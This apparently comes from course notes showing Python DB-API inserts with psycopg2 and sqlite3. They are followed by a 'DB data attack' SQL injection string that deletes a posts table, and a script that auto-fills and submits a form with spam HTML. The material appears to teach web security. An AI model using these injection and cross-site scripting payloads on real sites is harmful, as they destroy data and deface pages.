Inserts in DB API pg = psycopg2.connect("dbname=somedb") c = pg.cursor() c.execute("insert into names values('Jennifer Smith')") pg.commit() import sqlite3 db = sqlite3.connect("testdb") c = db.cursor() c.execute("insert into balloons values ('blue', 'water') ") db.commit() db.close()
DB data attack
‘); delete from posts;–
spam table
<script> setTimeout(function() { var tt = document.getElementById('content'); tt.value = "<h2 style='color: #FF6699; font-family: Comic Sans MS'>Spam, spam, spam, spam,<br>Wonderful spam, glorious spam!</h2>"; tt.form.submit(); }, 2500); </script>